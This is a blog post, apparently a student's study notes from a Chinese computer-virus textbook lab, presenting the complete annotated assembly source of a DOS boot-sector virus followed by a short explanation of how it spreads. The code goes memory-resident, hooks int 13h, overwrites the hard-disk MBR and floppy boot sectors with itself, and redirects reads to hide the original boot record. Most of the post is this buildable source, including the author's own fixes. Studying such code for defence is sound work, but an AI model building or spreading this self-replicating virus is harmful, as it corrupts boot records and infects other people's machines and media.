DOS平臺的病毒已經是過去時了,但是學習知識還得從簡單學起。
今天就來研究一下DOS平臺的引導型病毒,參考資料爲劉功申老師編著的《計算機病毒及其防範技術》(第2版),以第一個實驗爲例。
實驗環境:虛擬機
上代碼先:
- ;bv.asm
- bv segment;定義段
- assume cs:bv,ds:bv,es:bv;聲明段與寄存器的結合
- .286;處理機模式
- org 0000h;制定下一指令的偏移地址爲0000h
- start:
- jmp short vir_init;下面兩個字節用於保存中斷向量,跳過
- magic equ 10ebh ;病毒感染判斷標誌
- oint13_ip dw ? ;存放正確的int 13中斷向量
- oint13_cs dw ?
- reg_cx dw 4f0fh;正常的mbr的地址(表示79道15扇)
- ;在本實驗中也相當於一個標記,用來判讀是從軟盤還是從硬盤啓動
- ;沒有別的作業,因爲實驗中用的虛擬軟盤都沒有存放引導記錄的
- bootmessage db "*^_^*" ;病毒發作時,顯示的內容
- clearmessage db " "
- vir_init:;病毒從這裏開始執行
- ;初始化ds,ss,sp
- mov si, 7c00h;當前病毒所在的偏移地址
- cli;爲確保堆棧操作正常,中斷禁能
- xor bx, bx;bx清零
- mov ds,bx;0000爲當前之段地址置入數據段寄存器ds中
- ;下面將堆棧放置在程序段的頭部
- mov ss, bx;0000爲當前之段地址置入ss中
- mov sp, si;7c00爲當前程序段偏移地址置入sp中
- sti;中斷置能
- push bx;0000:7c00h置入堆棧
- push si;爲以後使用retf跳轉到此執行做準備
- cld;清方向標誌
- ;保存原int13h ip,cs
- mov ax, [bx+13h*04h];取int 13h的偏移地址
- mov ds:[si+offset oint13_ip], ax;放入本程序段前的預留空間中
- mov ax, [bx+13h*04h+02h];取int 13h的段地址
- mov ds:[si+offset oint13_cs], ax;放入預留空間中
- dec word ptr ds:[0413h];bios資料區的可用內存數減1k 減少可用內存數
- int 12h;取內存數,到ax
- shl ax, 06h;左移6位
- mov es, ax;放入es,求得病毒藏身駐留地區起始段地址
- ;(640-1)*(2^6) =40896
- push ax;段地址入棧
- push offset high_code;偏移地址入棧
- ;將自己移動到高地址,駐留內存,避免被覆蓋,神奇
- ;開始將病毒的程序碼搬移到1k高地址區
- mov cx, 0100h;置搬移數量
- xor di,di;置搬移目的地址的偏移地址(段地址es先前已放置)
- rep movsw;開始搬移256個字,也就是512個字節(一個扇區)
- retf;轉到藏身區繼續執行
- high_code:;以下的代碼將在1k的駐留地區繼續執行
- mov ax, cs ;重新設置 ds
- mov ds, ax
- call mainloop ;病毒的表現模塊,在屏幕上顯示一個*^_^*,並且不斷移動,直到有鍵盤操作
- xor ax, ax;ax置零
- mov es, ax;ex置零
- int 13h;軟驅復位 磁盤復位
- push cs;cs入棧
- pop ds;cs內容放入ds
- xor si, si;si置零
- ;下面開始尋找正常的啓動記錄
- mov ax, 0201h;調用磁盤服務,讀取一個扇區
- mov bx, 7c00h;讀取到0000:7c00h
- mov cx, ds:[si+offset reg_cx];將保存正常啓動記錄的地址取出
- ;病毒會將正常的引導記錄存在:硬盤,0面0道2扇;軟盤,1面79道15扇
- cmp cx, 0002h;比較看是不是0道2扇區
- jnz boot_fd;如果不是則一定是從軟盤啓動,此時需要傳染硬盤
- ;如果是則一定從硬盤啓動
- mov dx, 0080h;讀硬盤0head
- int 13h;開始讀取
- call near ptr install;調用子程序,安裝病毒的int 13h
- retf;轉到0000:7c00h開始執行正常的引導記錄程序
- boot_fd:;從軟盤引導
- mov dx, 0100h;讀a驅動器1面
- int 13h ;這個在本實驗中沒有用,因爲本實驗中軟盤中是沒有正確的引導記錄的,
- ;所以這個一段讀的內容是無效的,也無法完成後面的啓動,
- ;所以我增加了一個啓動copy_boot
- jb boot_dos;如果讀取失敗轉到boot_dos
- ;下面準備傳染硬盤
- push cs
- pop es;cs值放入es
- mov ax, 0201h
- mov bx, 0200h
- mov cx, 0001h
- mov dx, 0080h
- int 13h;讀硬盤0面0道1扇區之內容到病毒駐留區段並偏移512個字節,
- ;保存硬盤原來正確的MBR
- ;避免覆蓋到病毒程序本身
- jb boot_dos;不成功則轉到boot_dos
- cmp word ptr ds:[bx], magic;把讀到的內容的第一個字取出與10ebh相比,10ebh是
- ;病毒程序第一條指令的機器碼,如果比較結果相等,說明硬盤先前已傳染,就不再次傳染。
- ;這是感染病毒的標誌
- jnz inf_hd;不相等,說明硬盤沒有被傳染,跳轉到傳染程序
- call near ptr copy_boot ;由於實驗中的軟盤沒有正確引導記錄,
- ;所以我增加了一段啓動的代碼
- call near ptr install;調用子程序,安裝病毒的int 13h,病毒傳染觸發的條件
- retf;轉到0000:7c00h開始執行正常的引導記錄程序
- boot_dos:;執行失敗,就跳轉到此處
- int 18h;轉到rom-basic執行
- inf_hd:;傳染硬盤, 完成傳染硬盤的過程
- ;先將剛纔讀到的正常引導記錄保存道0道2扇,將正常的引導記錄存放到硬盤0面0道2扇區
- inc cx;cx此時爲1,爲2
- mov ds:[si+offset reg_cx],cx;cx存放的是正常引導記錄的位置(磁道;扇區)0道2扇
- mov ax, 0301h;寫入一個扇區
- mov dx, 0080h;寫入硬盤1的0面
- int 13h;開始寫入
- jb boot_dos;不成功轉到boot_dos
- ;準備替換引導扇區
- ;保留硬盤分區表
- ;如果省略此步驟,從軟驅引導則無法進入硬盤,很危險。
- ;我覺得這段把引導扇區除MBR外剩餘的信息複製到病毒代碼後面的空位沒什麼用
- ;所以我註釋了,編譯鏈接之後做實驗是沒問題的
- ; mov cl, 21h;準備搬移33個字
- ; mov di, 01beh;從內存高端的03beh搬移到
- ; mov si, 03beh;內存高端的01beh,此處正是病毒程序的駐留區
- ; rep movsw;開始搬移
- mov ax, 0301h;準備向硬盤寫入一個扇區 將病毒寫到引導扇區0面0道1扇區
- xor bx, bx
- ; inc cx;cx置1
- mov cx, 1h
- int 13h;寫入物理硬盤0面0道1扇區
- ; mov cx, 0100h;準備搬移一個扇區
- ; mov si, 0200h
- ; mov ax, 0
- ; mov es, ax
- ; mov di, 7c00h
- ; rep movsw;開始搬移
- call near ptr copy_boot
- call near ptr install;安裝病毒的int 13h
- retf;轉到0000:7c00h執行,正式從軟盤啓動
- install:;病毒int 13h的安裝子程序
- push ax
- push ds
- xor ax, ax
- mov ds, ax
- mov ax, offset vint13h;病毒int 13h的偏移地址
- mov ds:[13h*04], ax;替換原int 13h的ip
- mov ax, cs;取得病毒的段地址
- mov ds:[13h*04h+02h], ax;替換原int 13h的cs
- pop ax
- pop ds
- ret
- copy_boot: ;將硬盤0面0道第2扇區複製到0000:7c00,
- ;被病毒感染的硬盤的MBR存放在0面0道2扇區,可以啓動
- ;又由於實驗中使用的軟盤都是沒有正確引導記錄的,遂做修改,這樣可以正常啓動
- ;而如果軟盤有正確引導記錄的話,原來的程序是可以完成啓動的
- mov ax, 0 ;將硬盤0面0道第2扇區的正確的MBR放到000:7c00處,完成啓動
- mov es, ax
- mov ax, 0201h
- mov bx, 7c00h
- mov cx, 0002h
- mov dx, 0080h
- int 13h
- ret
- vint13h: ;病毒的int 13h,判讀是否滿足條件,感染軟盤
- pushf
- cmp cx,0001h;是否對0道1扇區進行操作
- jz stealth;是則進入特殊處理程序stealth
- or dl,dl;是否操作a驅
- jnz vint13h_ext;不是則轉到原始int 13h中斷執行
- test al,01h;是否操作奇數個扇區(測試al的最低位)
- jnz vint13h_ext;不是則轉到原始int 13h中斷執行
- call inf_fd;調用傳染軟盤子程序
- vint13h_ext:;病毒int 13h到此結束
- popf;下面
- jmp dword ptr cs:oint13_ip;調用原始int 13h,開始正常處理
- stealth:;特殊處理部分,將對0面0道1扇區的操作改爲2扇區的操作,
- ;因爲正確的0面0道1扇區的內容是被保存在2扇區的
- cmp al,01h;是否操作一個扇區
- jnz vint13h_ext;不是則轉到正常中斷
- cmp dx,0080h;是否操作硬盤0面
- jnz vint13h_ext;不是則轉到正常中斷
- inc cx;對硬盤0面0道1扇區操作改爲對2扇區的操作
- jmp short vint13h_ext;轉到正常的中斷服務程序
- inf_fd:;傳染軟盤子程序
- push ax
- push bx
- push cx
- push dx
- push di
- push si
- push ds
- push es
- push cs;置ds,es的值
- pop ds
- push cs
- pop es
- xor di,di;di置0
- mov si,0003h;si置3(表示讀3次)
- read_again:
- mov ax,0201h
- mov bx,0200h
- mov cx,0001h
- xor dx,dx;讀取軟盤0面0道1扇區到病毒常駐段偏移地址爲0200h
- pushf ;手工完成原int 13h的調用
- call dword ptr ds:[di+offset oint13_ip]
- jnb read_succ;讀取成功轉read_succ處理
- ; xor ax,ax;否則軟驅復位 ;這一段好像也是多餘的,註釋後,編譯運行,沒問題
- ; pushf
- ; call dword ptr ds:[di+offset oint13_ip]
- dec si;次數減1
- jnz read_again;不爲0再次讀取
- jmp short inf_ext;否則退出
- read_succ:;讀取成功後,以vir_init處一個字的機器碼爲特徵碼進行比較
- ;判斷軟盤是否已經染毒,如果沒有染毒,則進行傳染
- cmp word ptr ds:[bx], magic
- jz inf_ext;已染毒,退出
- mov cx,4f0fh
- mov ds:[di+offset reg_cx],cx;存放正常的引導程序磁道號扇區號
- mov ax,0301h
- mov dh,01h;寫入軟盤1面79道15扇區
- pushf
- call dword ptr ds:[di+offset oint13_ip]
- jb inf_ext
- ;下面將駐留在內存中的病毒程序寫入軟盤的0面0到1扇區
- ;若沒有中毒,則感染軟盤,將病毒代碼複製到軟盤中,完成傳染,也是手工調用int 13h
- mov ax,0301h
- xor bx,bx
- mov cx,0001h
- xor dx,dx
- pushf
- call dword ptr ds:[di+offset oint13_ip]
- inf_ext:;退出傳染子程序
- pop es
- pop ds
- pop si
- pop di
- pop dx
- pop cx
- pop bx
- pop ax
- ret
- col db 1 ;病毒的表現模塊,在屏幕上顯示一個*^_^*,並且不斷移動,直到有鍵盤操作
- mainloop:
- nextloop:
- mov dl, col
- inc dl
- cmp dl, 63
- jnz doshow
- mov dl, 0
- doshow:
- mov col, dl
- call dispstr; 調用顯示字符串例程
- mov cx, 0h
- ; waitstart: ;可能是通過循環多爭取了一些時間,使字符顯示在同一位置的時間更長
- ; loop waitstart ;註釋後也沒多大影響
- call clearstr
- mov ax,0100h ;取鍵盤緩衝區狀態
- int 16h
- jz nextloop ;判斷有無按鍵操作,
- ret
- ;調用10h中斷將字符串打印到屏幕上
- dispstr:
- mov ax, cs
- mov es, ax
- mov ax, offset bootmessage
- mov bp, ax; es:bp = 串地址
- mov cx, 5; cx = 串長度
- mov ax, 01301h; ah = 13, al = 01h
- mov bx, 000ch; 頁號爲0(bh = 0) 黑底紅字(bl = 0ch,高亮)
- mov dh, 5
- mov dl, col
- int 10h; 10h 號中斷
- ret
- ;用空格清除上一次的輸入
- clearstr:
- mov ax, cs
- mov es, ax
- mov ax, offset clearmessage
- mov bp, ax
- mov cx, 5
- mov ax, 01301h
- mov bx, 000ch
- mov dh, 5
- mov dl, col
- int 10h
- ret
- db (510-(($-start)mod 512)) dup(0); 以0填充剩餘的字節,保證佔有512個字節
- dw 0aa55h
- bv ends
- end start
引導型病毒將自己藏身在軟盤的引導扇區,系統啓動時,該病毒會被加載到內存中執行,即獲得控制權,然後病毒減小可用內存數,將自己移動到高內存處繼續執行,完成常駐內存,通過判斷是從軟盤啓動還是從硬盤啓動,從軟盤啓動則會感染硬盤,根據標誌判斷是否已被感染,未感染則將硬盤0面0道1扇區的內容復到0面0道2扇區,並且將病毒複製到0面0道1扇區,以實現從硬盤啓動時的感染。病毒將int 13h替換,如果有Int 13h調用,判斷是否軟盤,如果是對軟盤的操作,則感染軟盤,通過標誌判斷軟盤是否感染,如果沒有,則將軟盤的正確引導記錄移動,然後用病毒自身去替換軟盤引導記錄,完成傳染。
病毒發作時,只是在啓動時顯示字符串。
引導型病毒的殺毒請搜索。